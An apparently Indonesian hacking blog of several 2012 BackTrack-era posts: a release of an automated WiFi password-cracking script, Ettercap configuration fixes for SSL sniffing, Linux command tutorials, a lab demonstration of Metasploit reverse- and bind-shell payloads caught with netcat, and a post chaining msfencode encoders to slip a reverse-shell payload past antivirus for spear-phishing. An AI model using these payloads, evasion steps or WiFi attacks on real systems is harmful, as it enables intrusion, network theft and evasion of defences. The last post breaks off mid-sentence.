Let's kicking ass!

[SCRIPT] Cracking Password WiFi Otomatis dengan WiFire

2012-02-10T13:31:00.002+07:00

Beberapa hari yang lalu saya pernah membuatkan script untuk mempermudah setting pada network kamu. Sekarang, saatnya lebih serius. Saya telah membuat sebuah script (Lebih optimal jika dijalankan di BackTrack) yang berfungsi untuk melakukan cracking password WiFi secara otomatis berdasarkan software AirCrack-ng dan MacChanger.

Script ini diberi nama WiFire. Ada beberapa fitur unggulan script ini, diantaranya:

Bisa melakukan konfigurasi Wordlist
Mendeteksi client WiFi
Mendeteksi teknologi enkripsi WiFi
Otomatis melakukan attacking dan cracking password
Otomatis mencoba masuk ke dalam jaringan setelah password ditemukan

Berikut adalah gambaran script ini:

Memilih Dictionary

Memilih Access Point

Attack Fake Authentication

Attack Deauthentication Single Mac

Attack Deauthentication All Client

Untuk mendownload script ini, gunakan perintah git pada terminal kamu:

root@bt:~# git clone https://github.com/blusp10it/WiFire

Setelah itu:

root@bt:~# cd WiFire/

Dan untuk mengekseusi script-nya, gunakan perintah:

root@bt:~/WiFire# bash WiFire

Selamat mencoba (=

Script by blusp10it

FireNix, Konfigurasi Network Linux

2012-02-07T23:44:00.000+07:00

Beberapa hari ini, saya membuat sebuah script sederhana yang bisa digunakan di semua distro Linux. Script ini berfungsi untuk melakukan setting Firewall berdasarkan IPTables dan ARPTables.

Script ini telah diuji dan sedang dalam pengembangan. Beberapa fitur yang ada dalam script ini adalah:

Memasang firewall dengan konfigurasi yang mendasar
Melakukan reset settingan firewall
Menutup port yang terbuka
Memblokir IP yang diduga sebagai attacker

Keuntungan menggunakan script ini adalah, mempermudah kita dalam mempertahankan diri dari serangan sniffer. Karena, dengan mengaktifkan fungsi firewall pada software ini, IP kamu tidak akan bisa di PING (=

Untuk mendownload, kamu bisa gunakan perintah git:

# git clone https://github.com/blusp10it/FireNix

Lalu jalankan scriptnya dengan perintah:

# bash FireNix

Tampilan FireNix

Memasang FireWall

Mereset Setting FireWall

Mengecek Status FireWall

Memblokir IP Attacker

Cek Port yang Terbuka

Script By

Bye bye (=

View Repository: https://github.com/blusp10it/FireNix

Add me on FaceBook: https://www.facebook.com/blusp10it

Are you blusp10it?

FIX Ettercap ip_forwarding was disabled, but we cannot re-enable it now

2012-02-07T13:08:00.000+07:00

Ettercap mengalami banyak bug pada backtrack 5 R1. Kali ini bug memunculkan pesan error:

ip_forwarding was disabled, but we cannot re-enable it now.

remember to re-enable it manually

Bagaimana cara mengatasinya?

1. Buka terminal, lalu masukan perintah:

Command:

root@revolution:/# nano /usr/local/etc/etter.conf

Maka anda akan melihat tampilan seperti ini:

######################################################################### ## ettercap -- etter.conf -- configuration file ## ## Copyright (C) ALoR & NaGA ## ## This program is free software; you can redistribut it and/or moify ## it under the terms of the GNU General Public Licese as publishedby ## the Free Software Foundation; either version 2 o the License, or ## (at your option) any later version. ## ## $Id: etter.conf,v 1.79 2005/07/07 10:08:55 alr Exp $ ## #########################################################################

Carilah baris seperti ini:

######################################       redir_command_on/off###################################### you must provide a valid script for your operating system in order to have# the SSL dissection available# note that the cleanup script is executed without enough privileges (because# they are dropped on startup). so you have to either: provide a setuid program# or set the ec_uid to 0, in order to be sure the cleanup script will be# executed properly# NOTE: this script is executed with an execve(), so you can't use pipes or# output redirection as if you were in a shell. We suggest you to make a script if# you need those commands.

Pada bagian

#---------------# Linux#---------------

Cari baris:

# if you use iptables:

Maka anda akan mendapati pengaturan seperti ini:

# if you use iptables:   #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"   #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

2. Mengubah parameter redir_command_on dan redir_command_off

Hilangkan tanda pagar sebelum redir_command_on dan redir_command_off

Sehingga pengaturannya menjadi seperti ini:

######################################       redir_command_on/off###################################### you must provide a valid script for your operating system in order to have# the SSL dissection available# note that the cleanup script is executed without enough privileges (because# they are dropped on startup). so you have to either: provide a setuid program# or set the ec_uid to 0, in order to be sure the cleanup script will be# executed properly# NOTE: this script is executed with an execve(), so you can't use pipes or# output redirection as if you were in a shell. We suggest you to make a script if# you need those commands.
#---------------#     Linux#---------------
# if you use ipchains:   #redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"   #redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
# if you use iptables:   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Tekan ctrl+x untuk keluar dari konsol nano. Tekan y untuk menyimpan. Tekan enter untuk menyimpan meng-overwrite file lama.

Kemudian jalankan kembali ettercap:

Command:

root@revolution:/# ettercap -T -q -i wlan0

Perfect as usual

created by : red-dragon

FIX Ettercap SSL dissection needs a valid 'redir_command_on'

2012-02-07T12:55:00.000+07:00

Pengguna backtrack 5 R1 yang sudah menggunakan ettercap, mungkin mengalami masalah ini. Terdapat pesan error ketika ettercap melakukan unified sniffing. Pesan errornya adalah:

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file

Bagaimana mengatasinya?

1. Buka terminal, lalu masukan perintah:

Command:

root@revolution:/# nano /usr/local/etc/etter.conf

Maka anda akan melihat tampilan seperti ini:

Output:

#############################################################################                                                                          ##  ettercap -- etter.conf -- configuration file                            ##                                                                          ##  Copyright (C) ALoR & NaGA                                               ##                                                                          ##  This program is free software; you can redistribute it and/or modify    ##  it under the terms of the GNU General Public License as published by    ##  the Free Software Foundation; either version 2 of the License, or       ##  (at your option) any later version.                                     ##                                                                          ##  $Id: etter.conf,v 1.79 2005/07/07 10:08:55 alor Exp $                   ##                                                                          #############################################################################
[privs]ec_uid = 65534                # nobody is the defaultec_gid = 65534                # nobody is the default

2. Mengubah parameter ec_uid dan ec_gid

Perhatikan baris

ec_uid = 65534 dan ec_gid = 65534

Ubah kedua baris ini menjadi

Output:

#############################################################################                                                                          ##  ettercap -- etter.conf -- configuration file                            ##                                                                          ##  Copyright (C) ALoR & NaGA                                               ##                                                                          ##  This program is free software; you can redistribute it and/or modify    ##  it under the terms of the GNU General Public License as published by    ##  the Free Software Foundation; either version 2 of the License, or       ##  (at your option) any later version.                                     ##                                                                          ##  $Id: etter.conf,v 1.79 2005/07/07 10:08:55 alor Exp $                   ##                                                                          #############################################################################
[privs]ec_uid = 0                # nobody is the defaultec_gid = 0                # nobody is the default

Tekan ctrl+x , kemudian tekan y untuk menyimpan. Dan enter untuk menkonfirmasi.

Jalankan kembali ettercap dengan perintah.

Command:

root@revolution:/# ettercap -T -q -i wlan0

Perfect as usual =)

created by : red-dragon

Do More With CLI [Part 2]

2012-02-02T10:37:00.001+07:00

Masih mau belajar perintah linux? Bagus. Ini supaya kalian ngga manja dengan kursor, alias GUI. Sebelumnya saya sudah memberikan tutorial CLI part 1. Sekarang giliran part 2.

Dalam kesempatan kali ini, saya akan mengajarkan perintah cp, cat, awk, sort, dan tee. Jangan langsung putus asa, ini sangat mudah, dan menyenangkan. Terlebih ketika anda menguasai hal ini dengan sangat baik.

Ok, langsung saja ke tutorial.

Preparation:

[*] Terminal terletak pada Applications - Accessories - Terminal

Walkthrough:

1. Buka terminal anda. Kemudian berpindahlah menuju directory /tmp

Command:

root@revolution:/# cd /tmproot@revolution:/tmp#

Mengapa kita berpindah ke directory /tmp? Tutorial kali ini, akan membuat beberapa file. Directory /tmp dirancang untuk membersihkan seluruh isinya setelah linux di-restart. Jadi file file ini akan hilang setelah linux di-restart. Yaaa, hitung-hitung kalian tidak perlu menghapus file ini, jika file ini tidak terpakai. =)

2. Perintah cp

CP adalah perintah copy, penggunaannya sangat sederhana.

Command:

root@revolution:/# cp <file yang hendak di copy> [nama file setelah dicopy]

Contoh:

Command:

root@revolution:/tmp# cp /etc/passwd passwd

menggunakan perintah cp

Kali ini saya akan meng-copy file passwd yang terletak di directory /etc. Kemudian menyimpannya dengan nama passwd.

3. Perintah cat

CAT adalah perintah untuk menampilkan isi dari sebuah file. Kurang lebih mencetak file tersebut. Ini sama seperti perintah print dalam command prompt. Penggunaan perintah cat juga sangat sederhana.

Command:

root@revolution:/# cat <file yang hendak di cetak>

Contoh:

Command:

root@revolution:/# cat passwd root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shsyslog:x:101:103::/home/syslog:/bin/falsesshd:x:102:65534::/var/run/sshd:/usr/sbin/nologinlandscape:x:103:108::/var/lib/landscape:/bin/falsemessagebus:x:104:112::/var/run/dbus:/bin/falsenobody:x:65534:65534:nobody:/nonexistent:/bin/shmysql:x:105:113::/var/lib/mysql:/bin/falseavahi:x:106:114::/var/run/avahi-daemon:/bin/falsesnort:x:107:115:Snort IDS:/var/log/snort:/bin/falsestatd:x:108:65534::/var/lib/nfs:/bin/falseusbmux:x:109:46::/home/usbmux:/bin/falsepulse:x:110:116::/var/run/pulse:/bin/falsertkit:x:111:117::/proc:/bin/falsefestival:x:112:29::/home/festival:/bin/falsepostgres:x:1000:1000::/home/postgres:/bin/shcouchdb:x:113:121:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash

menggunakan perintah cat

Kali ini saya akan mencetak isi dari file passwd.

4. Perintah awk

AWK adalah perintah untuk mencari string dalam sebuah file. Berbeda dengan grep, awk memiliki hasil yang lebih spesifik.

Contoh:

Command:

root@revolution:/ awk -F ':' '{print $1}' passwd rootdaemonbinsyssyncgamesmanlpmailnewsuucpproxywww-databackuplistircgnatslibuuidsyslogsshdlandscapemessagebusnobodymysqlavahisnortstatdusbmuxpulsertkitfestivalpostgrescouchdb

menggunakan perintah awk

Keterangan:

-F : Penggunaan -F bertujuan untuk menentukan pemisah antara kolom 1 dan kolom 2. Contoh:

Sebuah file berisi:

123 456 789

Bagian "123" adalah kolom pertama.

Bagian "456" adalah kolom kedua.

Bagian "789" adalah kolom ketiga.

Kolom ini dipisahkan oleh <spasi>. Jika kolom dipisahkan oleh spasi, maka perintah -F tidak lagi diperlukan. Namun jika file berisi:

123-456-789

Maka perintah -F digunakan untuk menentukan pemisah antar kolom. Pada file tersebut, terlihat bahwa setiap kolom dipisahkan oleh simbol "-". Sehingga perintah awk akan ditambah dengan argumen -F '-'.

5. Perintah sort

SORT adalah perintah untuk mengurutkan file berdasarkan alfabet. Penggunaan sort terbagi menjadi dua, yaitu perintah untuk mengolah output dari peritah sebelumnya, dan yang kedua adalah langsung mengurutkan sebuah file tanpa diawali dengan perintah cat atau awk.

Penggunaan sort:

Command sort [1]:

root@revolution:/tmp# sort <file yang hendak diurutkan>

Command sort [2]:

root@revolution:/tmp# cat <file yang hendak dicetak> | sort

Perintah sort yang pertama akan mengurutkan file langsung dari file sumber. Sementara perintah sort yang pertama, akan mengurutkan output dari perintah cat.

Contoh:

Kita akan mengurutkan output dari perintah awk sebelumnya. Terlihat bahwa perintah awk belum mengurutkan hasil secara aflabet.

Command :

root@revolution:/tmp# awk -F ':' '{print $1}' passwd  | sortavahibackupbincouchdbdaemonfestivalgamesgnatsirclandscapelibuuidlistlpmailmanmessagebusmysqlnewsnobodypostgresproxypulserootrtkitsnortsshdstatdsyncsyssyslogusbmuxuucpwww-data

menggunakan perintah sort

6. Perintah tee

TEE adalah perintah untuk menyimpan output dari sebuah perintah. Contoh:

Command :

root@revolution:/tmp# ifconfig wlan0 | tee > ipaddressroot@revolution:/tmp# cat ipaddress wlan0     Link encap:Ethernet  HWaddr e0:b9:a5:9d:37:e9            inet addr:192.168.1.4  Bcast:192.168.1.255  Mask:255.255.255.0          inet6 addr: fe80::e2b9:a5ff:fe9d:37e9/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:12504 errors:0 dropped:0 overruns:0 frame:0          TX packets:13018 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:7044888 (7.0 MB)  TX bytes:3387860 (3.3 MB)

Saya akan membuat perintah ifconfig wlan0, kemudian menyimpan hasil perintah ifconfig wlan0 dengan perintah tee dan menamai file tersebut dengan nama ipaddress.

Contoh:

Command :

root@revolution:/tmp# awk -F ':' '{print $1}' passwd | sort | tee > username.lst

Sebelumnya kita sudah menggunakan perintah sort, kali ini kita akan menyimpan hasil output perintah sort dengan nama username.lst

Selesai. Kamu sudah memiliki file username.lst yang berisi tentang user yang ada di linux kamu. =)

created by : red-dragon

FIX hci0 command tx timeout

2012-02-01T22:43:00.000+07:00

Biasanya sebelum kita login ke BackTrack, ada peringatan dari DMESG yang isinya:

[138209.666632] usbcore: registered new interface driver btusb
[138214.844410] hci_cmd_task: hci0 command tx timeout
[138219.848340] hci_cmd_task: hci0 command tx timeout
[138224.853676] hci_cmd_task: hci0 command tx timeout
[138229.856417] hci_cmd_task: hci0 command tx timeout
[138234.860719] hci_cmd_task: hci0 command tx timeout
[138239.960585] hci_cmd_task: hci0 command tx timeout
[138240.464277] bluetoothd[5133]: segfault at 3 ip b7e39938 sp bfb8fcc8 error

Ini terjadi karena bluetooth stack driver nggak bisa UP. BackTrack di versi 5 R1memiliki kernel 2.6.39-4 yang tidak mempunyai patch kernel bluetooth. Makanya peringatan:

hci0 command tx timeout

akan selalu ada tiap kali kita booting.

Untuk menghindari hciconfig membawa interface bluetooth ini UP, kita harus memberikan sebuah perintah yang berjalan di level rc. Tambahkan baris:

hciconfig hci0 down

sebelum perintah:

exit 0

Di file:

/etc/rc.local

SCREEN-SHOT

Setelah menambahkan baris tersebut, kita bisa reboot untuk melihat hasilnya (=

blusp10it

Do More With CLI [Part 1]

2012-01-28T12:37:00.000+07:00

Linux memang identik dengan CLI (Command Line Interpreter), pengguna yang manja akan lebih menyukai menggunakan kursornya untuk melakukan setiap hal, bahkan hal yang mudah. Dan ini terjadi hampir terjadi pada setiap pengguna << back | track yang notabene adalah mantan pengguna windows. "The real hacker is not using GUI"!

Oke, pertanyaan yang sering keluar adalah: "Bagaimana cara melatih penggunaan CLI?" Anda bisa mempelajarinya dari hal terkecil. Yaitu perintah grep. Grep berfungsi untuk mencari string yang dikehendaki. Ini sama dengan perintah find text pada windows. Kali ini saya akan memberikan 3 Tutorial sekaligus, yaitu tutorial grep, tutorial awk, dan tutorial sed. Dan anda bisa mencobanya sendiri.

Preparation:

[*] Terminal terletak pada Applications - Accessories - Terminal

Goal:

[*] Menampilkan IP address pada terminal

Walkthrough:

1. Grep

Buka terminal, lalu masukan perintah

Command:

root@revolution:/# ifconfig wlan0

Kita akan menampilkan konfigurasi IP pada device wlan0 (WiFi Device)

Output:

root@revolution:/# ifconfig wlan0wlan0     Link encap:Ethernet  HWaddr 00:24:36:5c:ed:e3            inet addr:192.168.1.7  Bcast:192.168.1.255  Mask:255.255.255.0          inet6 addr: fe80::224:36ff:fe5c:ede3/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:96332 errors:0 dropped:0 overruns:0 frame:0          TX packets:41418 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:49392027 (49.3 MB)  TX bytes:7373200 (7.3 MB)

Kita telah mendapatkan konfigurasi IP dari wlan0. Langkah selanjutnya adalah menggunakan perintah grep. Masukan perintah:

Command:

root@revolution:/# ifconfig wlan0 | grep "inet addr:"

Perintah grep akan mencari string "inet addr:" pada output ifconfig wlan0.

Output:

root@revolution:/# ifconfig wlan0 | grep "inet addr:"          inet addr:192.168.1.7  Bcast:192.168.1.255  Mask:255.255.255.0

Ok. Sekarang output kita semakin berkurang, dari 7 baris, menjadi 1 baris saja. Lalu, bagaimana caranya agar output menghasilkan 192.168.1.7 ?

2. Awk

Langkah selanjutnya adalah menyingkirkan inet, Bcast, dan Mask. Kita akan menggunakan perintah awk. Perintah awk akan memilih text yang berada pada kolom tertentu. Dalam output di atas, kolom 1 bernilai : inet. Dipisahkan oleh spasi terdapat kolom 2, yaitu addr:192.168.1.7. Dipisahkan oleh spasi teradapat kolom 3, yaitu Bacst:192.168.1.255. Dan dipisahkan oleh spasi terdapat kolom terakhir, yaitu Mask:255.255.255.0. Kita akan memilih kolom ke dua, sehingga ouput kita akan menampilkan value dari kolom ke 2. Masukan perintah:

Command:

root@revolution:/# ifconfig wlan0 | grep "inet addr:" | awk '{print $2}'

awk '{print $2}' akan menampilkan nilai dari kolom ke dua, yaitu addr:192.168.1.7. Terlihat dari output kita di bawah:

Output:

root@revolution:/# ifconfig wlan0 | grep "inet addr:" | awk '{print $2}'addr:192.168.1.7

Ok, sekarang hasil kita semakin sedikit. Kali ini kita akan menyingkirkan addr: untuk mendapatkan output berupa IP address.

3. Sed

Langkah berikutnya adalah menyingkirkan string addr: dari output kita, sehingga kita mendapatkan output 192.168.1.7. Untuk menyingkirkan string tertentu, perintah sed adalah sed 's/[STRING YANG AKAN DIHAPUS]//' Masukan perintah berikut:

Command:

root@revolution:/# ifconfig wlan0 | grep "inet addr:" | awk '{print $2}'| sed 's/addr://'

Perintah di atas akan menghapus string addr:, maka output yang akan terlihat adalah.

Output:

root@revolution:/# ifconfig wlan0 | grep "inet addr:" | awk '{print $2}'| sed 's/addr://'192.168.1.7

Excellent!

Created by : red-dragon

Perbedaan Reverse TCP dan Bind TCP

2012-01-18T17:56:00.000+07:00

Pengguna metasploit untuk tingkat pemula, mungkin pernah bertanya-tanya. Apa perbedaan payload reverse_tcp dengan payload bind_tcp? Sederhananya, reverse adalah perintah dari attacker kepada korban, untuk menghubungi korban. Sementara bind tcp adalah perintah dari attacker kepada korban, untuk membuka akses kepada attacker. Ilustrasinya seperti ini

[reverse_tcp]

attacker -> [hubungi saya di port 4444] -> victim

setelah payload dieksekusi

attacker <-> [port 4444] <-> victim

[bind_tcp]

attacker -> [buka jalan untuk saya di port 4444] -> victim

setelah dieksekusi

attacker <-> [port 4444] <-> victim

Untuk membuktikannya, saya akan mengadakan percobaan mengenai payload. Anda bisa mencoba sendiri di rumah.

Tools requirements:

[*] msfpayload dapat ditemukan di backtrack 5

[*] netcat dapat ditemukan di backtrack 5

[*] vmware player

[*] windows XP SP 2

System requirements:

[*] VMware menggunakan koneksi NAT

[*] IP address attacker vmnet8 10.10.10.1

[*] IP address victim vmnet8 10.10.10.128

[*] Windows XP di dalam vmware telah terinstall vmware tools

Walk-through:

1. Buat PAYLOAD windows/shell_reverse_tcp

Buka terminal, kemudian masukan perintah:

Command:

root@revolution:~# msfpayload windows/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 X > /tmp/reverse.exe

Keterangan:

[*] saya akan membuat payload windows/shell_reverse_tcp

[*] ip address saya 10.10.10.1

[*] port listener saya tentukan di 4444

[*] payload ini saya simpan di folder /tmp dengan nama reverse.exe

Buka folder /tmp, kemudian copy file reverse.exe, kemudian paste di windows XP. Kembali ke terminal, kemudian masukan perintah:

Command:

root@revolution:~# nc -l -v -p 4444

Keterangan:

[*] saya menggunakan netcat sebagai handler terhadap koneksi yang masuk

[*] menentukan netcat sebagai listener (-l)

[*] menentukan netcat untuk mengaktifkan verbose mode (-v)

[*] menentukan netcat untuk melakukan listening pada port 4444 (-p 4444)

Kemudian jalankan file reverse.exe yang ada di windows xp.

Maka ini yang akan terjadi:

Command:

root@revolution:~# nc -l -v -p 4444listening on [any] 4444 ...10.10.10.128: inverse host lookup failed: Unknown server error : Connection timed outconnect to [10.10.10.1] from (UNKNOWN) [10.10.10.128] 1062Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\User\Desktop>

FAQ [Frequently Asked Questions]

[Q] Apa fungsi payload yang kita buat?

[A] Payload yang kita buat, memiliki perintah dari attacker kepada victim untuk menghubungi attacker di port 4444

[Q] Mengapa kita mendapatkan command prompt milik victim?

[A] Itu karena payload yang kita buat adalah shell_reverse_tcp, ini berfungsi agar netcat mengeksekusi shell aka command prompt (pada windows) setelah konesi di port 4444 terjadi

[Q] Bisakah saya menentukan di port yang berbeda selain 4444?

[A] Bisa, dengan syarat port tersebut sedang tidak digunakan oleh proses lain, misalkan port 80 yang biasa digunakan oleh Apache, atau 22 yang biasa digunakan oleh OpenBSD untuk SSH connection.

2. Buat payload windows/shell_bind_tcp

Buka terminal, kemudian masukan perintah:

Command:

root@revolution:~# msfpayload windows/shell_bind_tcp LPORT=4444 X > /tmp/bind.exe

Keterangan:

[*] Saya akan membuat payload windows/shell_bind_tcp

[*] Saya menentukan 4444 sebagai port listener agar attacker dapat masuk ke system milik victim

[*] Saya menyimpan payload di folder /tmp dengan nama bind.exe

Buka folder /tmp, kemudian copy bind.exe ke Windows XP. Jangan jalankan file ini terlebih dahulu!

Buka command prompt windows, kemudian ketik

Command:

C:\Documents and Settings\User> netstat -an | find "4444"

Keterangan:

[*] netstat adalah perintah command prompt untuk mengecek koneksi yang terjadi dalam sebuah system

[*] saya akan mengecek, apakah port 4444 terbuka

Terlihat bahwa port 4444 tidak terbuka. Setelah itu, jalankan file bind.exe. Kemudian masukan perintah netstat kembali pada command prompt:

Command:

C:\Documents and Settings\User> netstat -an | find "4444"

Terlihat bahwa sekarang muncul port 4444 yang melakukan listening terhadap koneksi. Kali ini kita akan menggunakan netcat untuk mendapatkan command prompt milik victim.

Command:

root@revolution:~# nc -v 10.10.10.128 4444

Maka ini yang akan terjadi:

Command:

root@revolution:~# nc -v 10.10.10.128 444410.10.10.128: inverse host lookup failed: Unknown server error : Connection timed out(UNKNOWN) [10.10.10.128] 4444 (?) openMicrosoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\User\Desktop>

Keterangan:

[*] Kali ini saya akan menghubungi IP address victim [10.10.10.128]

[*] Saya akan mencoba port 4444 untuk akses masuk

FAQ [Frequently Asked Question]

[Q] Apa yang terjadi?

[A] Payload kita telah membuat victim membuka port 4444 agar attacker dapat masuk ke system korban

Created by: red-dragon

The Power of Encoder

2012-01-17T16:09:00.000+07:00

Membuat payload dan mengirimnya kepada target dengan metode spear pishing attack adalah cara termudah dalam melakukan exploitasi. Namun windows sudah mengantisipasi hal ini, beberapa vendor antivirus berlomba-lomba membuat antivirus yang mumpuni untuk membasmi payload milik attacker. Masalahnya adalah, bagaimana cara bypassing antivirus ini?

Metasploit telah menyediakan beberapa tools untuk melakukan penetrasi test. Diantaranya adalah msfpayload untuk membuat payload, dan msfencode untuk melakukan encoding. Msfencode memungkinkan attacker untuk membuat payload denan kedok terbaik yang dapat mem-byassing antivirus.

Pertanyaannya adalah, benarkah encoder ini berfungsi? Dalam kesempatan ini saya akan menunjukan bagaimana encoder bekerja, dan membuktikan bahwa encoder memiliki peran penting dalam melakukan bypass antivirus.

Preparation:

[*] msfpayload

[*] msfencode

Briefing:

[*] buat payload dengan encoder

[*] buat payload tanpa encoder

[*] upload kedua file ke VirusTotal

Walkthrough:

1. Buat payload dengan encoder

Kali ini saya akan melakukan encoding virus dengan 3 encoder yang berbeda.

Command:

root@revolution:/# msfpayload windows/shell_reverse_tcp lhost=172.16.230.1 lport=4444 R | msfencode -a x86 -e x86/shikata_ga_nai -c 8 t raw | msfencode -a x86 -e x86/call4_dword_xor -c 8 -t raw | msfencode -a x86 -e x86/jmp_call_additive -c 8 -t raw | msfencode -a x86 -e x86/shikata_ga_nai -c 8 t exe > /tmp/cmd.exe
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 395 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 422 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 449 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 476 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 503 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 530 (iteration=8)
[*] x86/call4_dword_xor succeeded with size 2342 (iteration=1)
[*] x86/call4_dword_xor succeeded with size 2370 (iteration=2)
[*] x86/call4_dword_xor succeeded with size 2398 (iteration=3)
[*] x86/call4_dword_xor succeeded with size 2426 (iteration=4)
[*] x86/call4_dword_xor succeeded with size 2454 (iteration=5)
[*] x86/call4_dword_xor succeeded with size 2482 (iteration=6)
[*] x86/call4_dword_xor succeeded with size 2510 (iteration=7)
[*] x86/call4_dword_xor succeeded with size 2538 (iteration=8)
[*] x86/jmp_call_additive succeeded with size 2569 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 2601 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 2633 (iteration=3)
[*] x86/jmp_call_additive succeeded with size 2665 (iteration=4)
[*] x86/jmp_call_additive succeeded with size 2697 (iteration=5)
[*] x86/jmp_call_additive succeeded with size 2729 (iteration=6)
[*] x86/jmp_call_additive succeeded with size 2761 (iteration=7)
[*] x86/jmp_call_additive succeeded with size 2793 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 2822 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 2851 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 2880 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 2909 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 2938 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 2967 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 2996 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 3025 (iteration=8)

Keterangan:

[*] Saya menggunakan payload windows/shell_reverse_tcp

[*] IP address saya 172.16.230.1

[*] Menentukan port listener di 4444

[*] Kali ini saya akan melakukan encoding dengan arsitektur 32 bit (-a x86)

[*] Menggunakan encoder x86/shikata_ga_nai (-e x86/shikata_ga_nai)

[*] Melakukan encoding sebanyak 8 kali (-c 8)

[*] Menyimpannya dengan format raw (-t raw)

[*] Mengenkode kembali menggunakan encoder x86/call4_dword_xor (-e x86/call4_dword_xor)

[*] Melakukan encoding sebanyak 8 kali (-c 8)

[*] Menyimpannya dengan format raw (-t raw)

[*] Mengenkode kembali menggunakan encoder x86/jmp_call_additive (-e x86/jmp_call_additive)

[*] Melakukan encoding sebanyak 8 kali (-c 8)

[*] Menyimpannya dengan format raw (-t raw)

[*] Mengenkode kembali menggunakan encoder x86/shikata_ga_nai (-e x86/shikata_ga_nai)

[*] Melakukan encoding sebanyak 8 kali (-c 8)

[*] Menyimpannya dengan format exe

[*] Menyimpannya di dalam direktori /tmp/ dengan nama file cmd.exe

2. Buat payload tanpa encoder

Command:

root@revolution:/# msfpayload windows/shell_reverse_tcp lhost=172.16.230.1 lport=4444 X > /tmp/backdoor.exeCreated by msfpayload (http://www.metasploit.com).Payload: windows/shell_reverse_tcp Length: 314Options: {"lhost"=>"172.16.230.1", "lport"=>"4444"}

Keterangan:
[*] Saya menggunakan payload windows/shell_reverse_tcp
[*] IP address saya 172.16.230.1
[*] Menentukan port listener di 4444
[*] Kali ini saya tidak menggunakan encoder dalam membuat payload ini.

3. Upload kedua file

Ini tanpa encoder:

DETECTED

Ini dengan encoder:

UNDETECTED

created by : red-dragon

Mengkoneksikan WLAN Melalui Terminal

2012-01-14T23:14:00.001+07:00

Jangan asal klik! Klak klik klak klik membuat kita jadi manja dan gak mau repot. Saking seringnya nge-klik tanpa tau itu untuk apa, virus sampe dijalankan. Itulah bodohnya user manja para pengguna OS Windows.

Hal ini tidak hanya dialami para pengguna Windows, tapi juga para pengguna Linux yang masih baru, Saking errornya, user root aja masih pakek "sudo", atau teks sampe di-paste ke dalam folder. Hal seperti inilah yang terjadi kalo kita terlalu sering mengandalkan GUI.

Memang ada kalanya GUI itu mempermudah kita dalam mempercepat proses pengerjaan tugas dsb, tapi ada kalanya kita harus mengandalkan CLI ketika dihadapkan pada sebuah basis data yang ada banyak file dan kita harus membuka file tertentu. Sama seperti ingin membuka satu pintu di antara 5000 pintu di ruangan yang sama.

Untuk itu saya akan menjelaskan bagaimana caranya mengkoneksikan WLAN melalui terminal, khusus sistem operasi BackTrack. Tidak ada tools tambahan yang kalian butuhkan. Kalian hanya harus mengetahui:

Nama ESSID
Mac address access point
Password access point (jika ada)

Langkah melakukan koneksi

Ketahui interface yang kalian gunakan
Untuk mengetahuinya, ketikkan pada terminal

Code:

root@blusp10it:~# iwconfigOutputnya kurang lebih seperti ini:

Terlihat dari hasil scan, wlan0 mendapatkan satu access poin, diberi tanda sebagai "Cell 01", dengan spesifikasi mac address = F4:EC:38:C5:5B:CC, dan ESSID = BackTrack, serta tidak dienkripsi.

Konfigurasikan interface wireless sebelum dikoneksikan
Untuk melihat konfigurasi wireless kita, gunakan perintah:

Code:

root@blusp10it:~# iwconfig wlan0

Kemudian, kita tentukan mac address mana yang akan kita koneksikan dengan perintah:

Code:

root@blusp10it:~# iwconfig wlan0 ap [mac-address-access-point]

Lanjut, kita tentukan ESSID-nya dengan perintah:

Code:

